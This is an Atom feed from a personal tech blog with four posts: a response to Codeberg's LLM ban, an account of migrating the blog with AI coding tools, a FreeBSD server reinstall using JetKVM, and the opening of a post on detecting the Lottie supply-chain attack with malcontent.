<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:base="https://choosehappy.dev">
  <title>choosehappy.dev</title>
  <subtitle>thomas strömberg&#39;s happy little corner of the internet</subtitle>
  <link href="https://choosehappy.dev/feed.xml" rel="self"/>
  <link href="https://choosehappy.dev"/>
  <updated>2026-07-24T00:00:00Z</updated>
  <id>https://choosehappy.dev</id>
  <author>
    <name>Thomas Strömberg</name>
    <email>thomas@stromberg.dev</email>
  </author><entry>
    <title>So long Codeberg, I hardly knew ye</title>
    <link href="https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/"/>
    <updated>2026-07-24T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/</id>
    <content xml:lang="en" type="html">&lt;p&gt;In response to: &lt;a href=&quot;https://blog.codeberg.org/protecting-our-floss-commons-from-llms.html&quot;&gt;https://blog.codeberg.org/protecting-our-floss-commons-from-llms.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/fish.jpg&quot; alt=&quot;so long, and thanks for all the fish&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I began the &lt;a href=&quot;https://atomdrift.org/&quot;&gt;Atomdrift project&lt;/a&gt; in early 2026; I made the bold choice to locate it&#39;s source code repository at &lt;a href=&quot;https://codeberg.org/&quot;&gt;Codeberg&lt;/a&gt; instead of &lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;. Why go with such an unknown entity?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub has slowly diluted to be the place for corporate development, and no longer stood for open-source.&lt;/li&gt;
&lt;li&gt;GitHub&#39;s reliability metrics were laughable at best.&lt;/li&gt;
&lt;li&gt;GitHub&#39;s approach to securing open-source was even more laughable.&lt;/li&gt;
&lt;li&gt;It&#39;s niche, but Codeberg offers a useful signal that &amp;quot;this is real community-driven open-source&amp;quot;, not some lame attempt at corporate pandering.&lt;/li&gt;
&lt;li&gt;To try something new &amp;amp; learn what Codeberg was all about.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;My experience with Codeberg&lt;/h2&gt;
&lt;p&gt;In comparison to GitHub, Codeberg excelled at virtue signalling the open-source aspect of the project, as well as providing a fun &amp;amp; reliable base to operate from. What Codeberg didn&#39;t seem to excel at was encouraging engagement: as best as I can tell, nobody discovered Atomdrift through Codeberg; only through other places on the Internet. The lack of an account at Codeberg was a possible impediment to engagement, but one I was OK with.&lt;/p&gt;
&lt;p&gt;The only things I never got the hang of on Codeberg were it&#39;s Pages implementation (I never did get custom domains to work), or it&#39;s take on CI pipelines. I can only assume that Woodpecker CI is better than GitHub Actions - but since I didn&#39;t have any external contributions yet, I wasn&#39;t too concerned with CI.&lt;/p&gt;
&lt;p&gt;Codeberg vs GitHub on reliability felt similar, at least as far as Git pushes via SSH. I can only imagine how difficult it is to run a Git provider with how many round-the-clock slop-driven commits &amp;amp; crawls there are.&lt;/p&gt;
&lt;h2&gt;Parsing Today&#39;s Codeberg Announcement&lt;/h2&gt;
&lt;p&gt;My heart sank today when I read the &amp;quot;Codeberg Bans Cryptocurrency Projects&amp;quot; article on Hacker News. It seemed like a very arbitrary restriction, one very against my experience with open-source that says &amp;quot;The most successful projects are the most inclusive ones&amp;quot;.&lt;/p&gt;
&lt;p&gt;The cherry on top was in the comments though, that pointed at another ban, described by Codeberg at &lt;a href=&quot;https://blog.codeberg.org/protecting-our-floss-commons-from-llms.html&quot;&gt;Protecting our FLOSS commons from LLMs&lt;/a&gt;. There&#39;s a lot of good stuff in there, but the most difficult part to swallow was:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Projects that are created by LLM &amp;quot;agents&amp;quot; in autonomous ways&lt;/li&gt;
&lt;li&gt;Projects written and maintained with heavy use of LLMs&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The Joys of Community&lt;/h3&gt;
&lt;p&gt;First of all, the coolest thing about this announcement is that Codeberg is truly living up to being a community-led effort: these two bans were put up for a vote; and since 72% of people at the conference voted to ban LLMs; it was done.&lt;/p&gt;
&lt;h3&gt;LLM Resource Consumption&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/fallout.png&quot; alt=&quot;fallout&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I get it - LLM&#39;s have caused a lot of unnecessary resource usage in the ecosystem. 96.1% of access to https://lab.atomdrift.org/ is via a bot, and not a second goes by that a bot isn&#39;t crawling something or another there.&lt;/p&gt;
&lt;p&gt;There continues to be a ton of resource waste in LLMs. However, the current situation reminds me a lot of the old  worry that every time you &amp;quot;using a Google Search&amp;quot; it would use up X houses worth of electricity. I worked at Google at the time - in a datacenter no less - and that concern was orders of magnitudes inflated.&lt;/p&gt;
&lt;p&gt;I think the resource usage situation will get better - it has to in order to make the economics work out for everyone. It at least did for Google Datacenters; when I started there in 2006, the average server sat at just 20% usage, which made zero sense. Then came Borg.&lt;/p&gt;
&lt;h3&gt;Copyright Concerns&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/car.png&quot; alt=&quot;You wouldn&#39;t download a car&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Codeberg&#39;s post also brings up the unclear copyright of AI-written source code. I feel like this is sort of a cop-out/unrelated concern, but it&#39;s a real issue. I don&#39;t put too much
value in software copyright (IMHO, the true value of software is how it&#39;s maintained), but I acknowledge that many do.&lt;/p&gt;
&lt;p&gt;Suffice to say, software copyrights have become weaker every year (see SCO, see Google vs Oracle); and LLM&#39;s have only made that process faster. The ability to generate code or art based on patterns from elsewhere without attribution is a troubling omission, but an understandable limitation.&lt;/p&gt;
&lt;p&gt;There&#39;s admittedly a little bit of uncertainty around copyrighting AI-driven code; but the consensus seems to be settling around it being copyrightable as long as you&#39;ve edited something yourself in the codebase - or strongly directed the AI to perform; which is still difficult to avoid today. In some respects, I think of LLMs as a non-deterministic precompiler: you still feed it the idea and the data flow, it fills in the blanks.&lt;/p&gt;
&lt;h2&gt;Banning isn&#39;t the right answer&lt;/h2&gt;
&lt;p&gt;So, I still don&#39;t get the ban on cryptocurrency projects, but at least for LLM usage, what I would have rather seen is a policy that LLM-authored projects must declare as such (as mentioned by &lt;a href=&quot;https://xn--gckvb8fzb.com/i-regret-migrating-to-codeberg/&quot;&gt;I regret migrating to Codeberg&lt;/a&gt;. I&#39;d also be happy to requried to make a donation to Codeberg to offset the impact.&lt;/p&gt;
&lt;p&gt;The worst part about the announcement is the sudden change; what was once a safe inclusive place is now banning things arbitrarily; with no grace period. I get it though, Codeberg doesn&#39;t owe us anything: at it&#39;s core, it&#39;s an open-source project trying to find it&#39;s way in the world like so many others.&lt;/p&gt;
&lt;h2&gt;Why the ban matters to me&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/osteo.webp&quot; alt=&quot;osteoarthritus&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As someone with a degenerative joint disease who has been hacking on projects for 35 years, I&#39;ve been using LLM&#39;s as a crutch to stay in the game and keep coding. The alternative is being a software-engineering manager again, and that&#39;s not very interesting to me. I&#39;ve got too many big ideas that I want to see happen, and LLMs have been a godsend for me.&lt;/p&gt;
&lt;p&gt;Atomdrift Scan began as an LLM transpiled port of malcontent: a hand-written project I spent thousands of hours working on. malcontent was an evolutionary dead-end, in part because I wrote it in Go, and YARA - one of it&#39;s core dependencies moved to Rust, creating a poor experience for users and developers. But malcontent was also a dead-end because I knew it&#39;s hand-written rule base couldn&#39;t scalable in the age of AI-developed malware.&lt;/p&gt;
&lt;p&gt;The fact that it began as a transpiled port means it falls afoul of this policy.&lt;/p&gt;
&lt;h2&gt;Atomdrift&#39;s core advantage is another violation&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/graph.png&quot; alt=&quot;Atomdrift graph&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The reason why Atomdrift Scan outperforms any malware scanner today for 0-day threats (no, seriously - &lt;a href=&quot;https://atomdrift.org/compare/&quot;&gt;it&#39;s true!&lt;/a&gt;) is that it&#39;s rules and models are constantly improving through a series of parallel self-reinforcement learning loops. If someone reported it as malware, and we didn&#39;t detect it, our LLM harness repairs the rules so that each malicious action is reported accurately. Similarly, benign samples are also automatically repaired to keep our default (and tunable) false-positive target at ~25 per 100,000,000 files.&lt;/p&gt;
&lt;h2&gt;The future of LLMs in software development&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2026/so-long-codeberg-and-thanks-for-all-the-fish/Luddite.jpg&quot; alt=&quot;Luddite&quot; /&gt;&lt;/p&gt;
&lt;p&gt;LLMs use is seeing an understandable backlash in software development, not far off from the &lt;a href=&quot;https://en.wikipedia.org/wiki/Luddite&quot;&gt;Luddite movement&lt;/a&gt; in the 19th century. Skilled laborers, faced with automation and perceived quality lost, rebelled and destroyed the machines they were being asked to work with. Similar to software engineers, they also cited a loss in the level of skill required to produce textiles.&lt;/p&gt;
&lt;p&gt;I think we&#39;ll eventually see LLMs to be like the use of power tools in modern day building and maintenance: there&#39;s certainly a place for them, but it&#39;s not universal. Very few houses are constructed without power tools today; but precise details are still often done by hand. The lack of precision and skilled labor is handled by the oversight of a general contractor - just as an LLM needs to be overseen by a skilled engineer. Similarly, in an auto-shop, there are places for power tools (I recently gave up and finally purchased an impact wrench to speed up wheel changes), but most work is still done by hand.&lt;/p&gt;
&lt;p&gt;There&#39;s a lot of worry about how one trains new engineers in this day and age of LLMs. I&#39;m not too concerned myself: even my CS classes once upon a time were done offline on a pen and paper; which irked me to no end as someone overly dependent on IDE&#39;s to catch my typos. I suspect a degree that proves you actually know how software engineering works will become more important than it was in the past.&lt;/p&gt;
&lt;p&gt;In this new world, on the job experience will happen much the way it does now - one failure at a time.&lt;/p&gt;
&lt;h2&gt;Why Codeberg&#39;s decision should matter to you.&lt;/h2&gt;
&lt;p&gt;I know I&#39;m just a small fish, just some Internet rando with a bizarre set of open-source projects.&lt;/p&gt;
&lt;p&gt;However, when you see a community-driven project you depend on instituting sudden bans, you should be worried! It&#39;s not any different than a homeowners association that picks new rules based on a vote of who&#39;s present at that month&#39;s meeting. Not only will you feel uneasy building your community on unsteady ground, but so will every one else there.&lt;/p&gt;
&lt;p&gt;I wish Codeberg the best of luck, but in my experience: projects that aren&#39;t inclusive are eventually replaced by those that are.&lt;/p&gt;
&lt;p&gt;Whether it&#39;s the ability to constantly attract new contributors through excellent communication, or the ability to attract new users through excellent documentation, projects need a sense of life and movement to survive in the long run.&lt;/p&gt;
&lt;p&gt;So, I guess that means &lt;a href=&quot;https://github.com/atomdrift-project&quot;&gt;I&#39;m moving to GitHub&lt;/a&gt; - and writing some documentation (by hand, not by LLM).&lt;/p&gt;
</content>
  </entry><entry>
    <title>Using LLMs to do dirty blog work</title>
    <link href="https://choosehappy.dev/posts/2025/llms-doing-the-dirty-blog-work/"/>
    <updated>2025-07-07T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2025/llms-doing-the-dirty-blog-work/</id>
    <content xml:lang="en" type="html">&lt;p&gt;After years of content scattered across three sites, I got tired of deciding which abandoned domain to publish to. My Hugo blog at &lt;strong&gt;libthom.so&lt;/strong&gt; had forgotten technical philosophy posts, &lt;strong&gt;unfinished.bike&lt;/strong&gt; had motorcycle adventures, and &lt;strong&gt;stromberg.org/t&lt;/strong&gt; held random static HTML pages. Time to consolidate!&lt;/p&gt;
&lt;p&gt;There&#39;s a classic developer trap: you want to write a blog post, so instead you write a new blog engine. I was about to fall into the modern AI equivalent - getting an LLM to rebuild my website from scratch.&lt;/p&gt;
&lt;h2&gt;Windsurf: can stop will stop&lt;/h2&gt;
&lt;p&gt;I started the migration process with Windsurf since I&#39;d heard good things. I settled on 11eventy as my static website engine of choice, as I was tired of working with hugo, and it apparently supported RSS. My prompt was straightforward:&lt;/p&gt;
&lt;blockquote&gt;
Create a personal website using 11eventy that incorporates all of the data in the import directory: my old hugo blog, my current personal website, and my write.as posts in JSON format. Blog posts should exist within a /posts/ subdirectory and support RSS feeds.
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/llms-doing-the-dirty-blog-work/windsurf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Every time Windsurf ran an &lt;code&gt;npm&lt;/code&gt; command, it would drop to a shell prompt. If I waited, it hung. If I typed &amp;quot;exit&amp;quot;, it complained that npm exited with code 127. I couldn&#39;t get past &lt;code&gt;npm install&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Windsurf&#39;s tab completion while editing markdown was fantastic though, and it did create a decent &amp;quot;about&amp;quot; page before everything fell apart.&lt;/p&gt;
&lt;h2&gt;Claude Code: 60+ iterations of pain&lt;/h2&gt;
&lt;p&gt;Frustrated, I switched to Claude Code - a tool I only used for the first time a couple of days ago. Looking at my &lt;code&gt;.claude.json&lt;/code&gt; history afterward: 60+ prompts to get a working website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/llms-doing-the-dirty-blog-work/claude.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here&#39;s what actually happened, based on my prompt history:&lt;/p&gt;
&lt;blockquote&gt;
This new 11eventy website looks ugly and broken. Can you freshen it up?
&lt;/blockquote&gt;
&lt;blockquote&gt;
The main page shows &#39;--- layout: base.njk title: Home ---&#39; on it to readers, and shows no CSS styling. I don&#39;t think it should show this text.
&lt;/blockquote&gt;
&lt;blockquote&gt;
blog posts seem to be showing frontmatter and no CSS styling. Can you fix that?
&lt;/blockquote&gt;
&lt;blockquote&gt;
ultrathink on how to make the page design and style extremely minimalist (in the spirit of professional go developers, like rob pike), but still stylish, readable, and happy.
&lt;/blockquote&gt;
&lt;p&gt;Claude Code struggled with basic concepts like &amp;quot;this file is already markdown, don&#39;t convert it&amp;quot; and &amp;quot;that HTML div needs to become markdown.&amp;quot; The initial styling looked like a 2005 CSS tutorial. Each iteration of &amp;quot;make this look less terrible&amp;quot; produced marginal improvements.&lt;/p&gt;
&lt;p&gt;The one thing that worked smoothly was GitHub Pages deployment. A few iterations to clean up old Hugo workflows and I was done.&lt;/p&gt;
&lt;p&gt;All those iterations burned through my $20/mo token limit, so I had to wait 45 minutes before using Claude Code again. Instead I went back to Windsurf to create an &amp;quot;About Me&amp;quot; page.&lt;/p&gt;
&lt;h2&gt;Fixing hot-linked images&lt;/h2&gt;
&lt;p&gt;I also had to handle all of the images hosted by &lt;code&gt;i.snap.as&lt;/code&gt; (the &lt;code&gt;write.as&lt;/code&gt; photo hosting site). If that site ever disappeared, so would all of my images. Once my Claude Code token quota reset after 9pm, I was able to provide a new prompt:&lt;/p&gt;
&lt;blockquote&gt;
Download each image referenced in a blog article, and store it in the directory alongside the index.md file. Update the markdown files to use the local image reference instead. This is important as the remote website may disappear some day.
&lt;/blockquote&gt;
&lt;p&gt;Claude Code wrote a Python script that found all remote image URLs across all blog posts, downloaded each image to their respective post directories, and updated all the markdown files to use local paths.&lt;/p&gt;
&lt;p&gt;But when I tested the site, the images returned 404 errors:&lt;/p&gt;
&lt;blockquote&gt;
All of the local image links appear to be returning a 404 error. For example: GET http://localhost:8080/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/tptuHGa1.png
&lt;/blockquote&gt;
&lt;p&gt;Claude Code quickly diagnosed the issue: Eleventy wasn&#39;t configured to copy image files from the posts directory to the build output. One line fix:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;eleventyConfig.addPassthroughCopy(&#39;posts/**/*.{jpg,jpeg,png,gif,webp,svg}&#39;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One rebuild later, everything worked.&lt;/p&gt;
&lt;h2&gt;The real story&lt;/h2&gt;
&lt;p&gt;LLMs are terrible at design decisions or writing with flair, but they are excellent at grinding through tedious work like migrating content from a JSON object you&#39;ve never seen before. The real value in LLMS isn&#39;t intelligence, it&#39;s pure energy-burning brute force. On the plus side, at least I didn&#39;t burn through my valuable finger cartilage in order to get my website sorted out.&lt;/p&gt;
</content>
  </entry><entry>
    <title>Reinstalling our home storage server with JetKVM</title>
    <link href="https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/"/>
    <updated>2025-06-21T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/</id>
    <content xml:lang="en" type="html">&lt;p&gt;My home office space has been offline for the last two months due to the invasion of 20,000 honeybees. This article is not about that story.&lt;/p&gt;
&lt;p&gt;However, when putting everything back into its place, I knew my home storage server running FreeBSD 15-CURRENT was overdue for a wipe and reinstall: it’d been 4 houses, several years, and a handful of domain names since it was initially installed.&lt;/p&gt;
&lt;p&gt;One thing I hate about having a home lab is needing to crawl around to fetch a keyboard and monitor for reinstall and recovery ops. Enter the JetKVM, a nifty little device that promised to make this painful process a bit more bearable.&lt;/p&gt;
&lt;h2&gt;Setting Up the JetKVM&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/reYWlYKR.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;JetKVM is a tiny &amp;amp; cheap hardware KVM-over-IP solution that lets you remotely control servers via a web browser. I’d ordered mine months ago via Kickstarter, but today was my first shot at using it.&lt;/p&gt;
&lt;p&gt;Getting the JetKVM ready was refreshingly straightforward:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connect the HDMI cable&lt;/li&gt;
&lt;li&gt;Connect the USB-C cable&lt;/li&gt;
&lt;li&gt;Connect Ethernet&lt;/li&gt;
&lt;li&gt;Visit IP displayed on it’s tiny little screen with a web browser&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once I turned the machine on, I was greeted with a familiar boot screen that we’ve seen on PC devices since the 1980’s.&lt;/p&gt;
&lt;h2&gt;Mapping Out the Existing Storage&lt;/h2&gt;
&lt;p&gt;I had 10TB of data on this machine to preserve, so I wanted to get a quick map of which disks were what before accidentally wiping something. If I’d been less lazy, I would have unplugged the drives with data.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;zpool status -v&lt;/code&gt; revealed my storage layout:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;slow&lt;/strong&gt;: ada1 (14TB spinning disk - my bulk storage)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;zroot&lt;/strong&gt;: nda0p4 (NVMe drive confirmed via the &lt;a href=&quot;https://man.freebsd.org/cgi/man.cgi?nda(4)&quot;&gt;nda(4) man page&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fast&lt;/strong&gt;: ada0 (4TB SATA drive)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;FreeBSD&#39;s device naming is logical once you know the patterns: &lt;code&gt;nda&lt;/code&gt; for NVMe, &lt;code&gt;ada&lt;/code&gt; for SATA/PATA drives.&lt;/p&gt;
&lt;h2&gt;Booting FreeBSD ISO using JetKVM Virtual Media&lt;/h2&gt;
&lt;p&gt;From my MacBook Pro, I started to setup a bootable USB drive using this classic incantation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo diskutil list | grep external
/dev/disk4 (external, physical):
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo dd if=$HOME/Downloads/FreeBSD-15.0-CURRENT-amd64-20250612-e6928c33f60c-277883-mini-memstick.img of=/dev/disk4s1 bs=10240
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used the JetKVM virtual keyboard to insert the “Del” button to enter BIOS and set the boot device order up so that it would boot off of the USB stick. But wait, what’s this “JetKVM Virtual Media” device?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/MzkNuTvW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I noticed this curious “Virtual Media” button in the JetKVM screen - was it possible to upload a disk image to this thing and boot it up without worrying about USB sticks and dd commands? It turns out you can - what a game changer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Click “Virtual Media&lt;/li&gt;
&lt;li&gt;Click “Add New Media”&lt;/li&gt;
&lt;li&gt;Click “JetKVM Storage Mount”&lt;/li&gt;
&lt;li&gt;Select local file, click Upload&lt;/li&gt;
&lt;li&gt;Click “Mount File”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/tptuHGa1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One quirk I discovered for FreeBSD is that only the CD/DVD ISO image boots properly via JetKVM Virtual Media, not the memstick images.&lt;/p&gt;
&lt;h2&gt;Navigating Installation Quirks&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/JZ2KuK5n.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It’s been nearly 30 years after my first FreeBSD installation (2.2.0), and I still find new quirks that cause me to go into menu loops. This time it did not like that my system already had a “zroot” pool defined. This was easy enough to fix by selecting the “Shell” option from the partitioning menu:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zpool import zroot
zpool destroy zroot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, the rest was smooth sailing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/7uQwCNof.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Configuring Remote Access&lt;/h2&gt;
&lt;p&gt;The JetKVM is fine as an emergency connectivity option, but nothing beats SSH and a static IP for ease of use. I immediately dove into &lt;code&gt;/etc/rc.conf&lt;/code&gt; and defined:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ifconfig_igb0=&amp;quot;inet 10.9.8.7 netmask 255.255.255.0&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;FreeBSD makes it easy to reconfigure interfaces based on the stored configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/etc/rc.d/netif restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I like configuring SSH (&lt;code&gt;/etc/sshd/sshd.conf&lt;/code&gt;) avoid brute-force attacks from flooding the logs, as well as make them hopeless:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Port 32022
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin yes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another quick service restart and SSH was ready:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/etc/rc.d/sshd restart
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The Connectivity Plot Twist&lt;/h2&gt;
&lt;p&gt;Here&#39;s where my smooth reinstall hit a snag. After getting everything configured, I couldn&#39;t reach GitHub:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ git clone https://github.com/tstromberg/commit-etc.git
Cloning into &#39;commit-etc&#39;...
fatal: unable to access &#39;https://github.com/tstromberg/commit-etc.git/&#39;: Failed to connect to github.com port 443 after 23 ms: Could not connect to server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DNS was working fine - &lt;code&gt;host github.com&lt;/code&gt; returned the expected results:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ host github.com
github.com has address 140.82.114.4
github.com mail is handled by 10 alt4.aspmx.l.google.com.
github.com mail is handled by 1 aspmx.l.google.com.
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But trying to actually connect revealed the issue:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ curl -vvv github.com
== Info: Host github.com:80 was resolved.
== Info: IPv4: 140.82.112.4
== Info:   Trying 140.82.112.4:80...
== Info: Immediate connect fail for 140.82.112.4: Network is unreachable
== Info: Failed to connect to github.com port 80 after 23 ms: Could not connect to server
curl: (7) Failed to connect to github.com port 80 after 23 ms: Could not connect to server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The culprit? I&#39;d forgotten to set the default gateway. I added &lt;code&gt;defaultrouter=&amp;quot;10.9.8.1&amp;quot;&lt;/code&gt; to &lt;code&gt;/etc/rc.conf&lt;/code&gt; and restarted routing:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/etc/rc.d/routing restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I liked having the extra security blanket of the JetKVM in case I botched the networking configuration.&lt;/p&gt;
&lt;h2&gt;Essential Tools and Services&lt;/h2&gt;
&lt;p&gt;Once connectivity was restored, I could install my usual set of server tools:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pkg install tmux fish git doas rsync go syncthing
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SyncThing gets special mention here as my go-to solution for keeping files synchronized across machines. It deserves it&#39;s own article, but getting it running is just:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sysrc syncthing_enable=YES
/usr/local/etc/rc.d/syncthing start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;sysrc&lt;/code&gt; command is FreeBSD&#39;s clean way to modify &lt;code&gt;/etc/rc.conf&lt;/code&gt; programmatically - less error prone than manual edits.&lt;/p&gt;
&lt;h2&gt;Configuration Management&lt;/h2&gt;
&lt;p&gt;I also needed to get my system configuration management back online. My approach is to keep &lt;code&gt;/etc&lt;/code&gt; under version control with a simple script setup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/tstromberg/commit-etc.git

cp commit-etc.sh $HOME/commit-etc

$HOME/commit-etc/commit-etc.sh

echo &amp;quot;0 0 * * * $HOME/commit-etc/commit-etc.sh&amp;quot; |crontab -e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now any system changes I make will be automatically translated into git commits.&lt;/p&gt;
&lt;h2&gt;Panic!&lt;/h2&gt;
&lt;p&gt;The FreeBSD “CURRENT” stream is considered “alpha” quality and well-known for stability issues. Even so, I was surprised to get a panic so quickly, induced by my attempt to sync terrabytes worth of data to an external drive via USB 3.0:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2025/reinstalling-our-home-storage-server-with-jetkvm/2TlmwQiF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The JetKVM proved its worth here too - as it made persistent out-of-band access to my server a painless affair. Otherwise, I would have had to fetch a monitor out to see the panic message.&lt;/p&gt;
&lt;p&gt;After some tweaks, FreeBSD 15-CURRENT is running smoothly now, with a clean ZFS setup and all my essential services back online. The combination of solid documentation (those man pages!), logical device naming, and straightforward service management makes FreeBSD a pleasure to work with, even during major system changes.&lt;/p&gt;
</content>
  </entry><entry>
    <title>Detecting the Lottie supply-chain attack with malcontent</title>
    <link href="https://choosehappy.dev/posts/2024/detecting-the-lottie-supply-chain-attack-with-malcontent/"/>
    <updated>2024-11-01T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2024/detecting-the-lottie-supply-chain-attack-with-malcontent/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Some of you may have heard that there was &lt;a href=&quot;https://github.com/LottieFiles/lottie-player/issues/254&quot;&gt;another supply-chain attack against an open-source project yesterday&lt;/a&gt; - this time in a Javascript library called &lt;a href=&quot;https://lottiefiles.com/web-player&quot;&gt;Lottie Web Player.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I have yet to talk much about it, but earlier this year I started an open-source project named &lt;a href=&quot;https://github.com/chainguard-dev/malcontent&quot;&gt;malcontent&lt;/a&gt; that detects precisely this kind of attack: malicious changes in open-source software. This is very relevant to my day job at &lt;a href=&quot;https://www.chainguard.dev/&quot;&gt;Chainguard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;malcontent summarizes the risks and capabilities of a file and alerts when a new version substantially changes those risks and capabilities. It&#39;s easier to show you with a screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2024/detecting-the-lottie-supply-chain-attack-with-malcontent/4ywoSN73.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In a nutshell:  &lt;code&gt;mal diff&lt;/code&gt; calculated that the risk of file went from MEDIUM to CRITICAL between two revisions. In doing so, it surfaced a number of new behaviors that would catch the eye of a code reviewer. The idea here is that no tool will be able to give you a 100% reliable answer to “Is it malicious or not?” but as a code reviewer, you have the context of what functionality changes are reasonable to you for the library you are consuming.&lt;/p&gt;
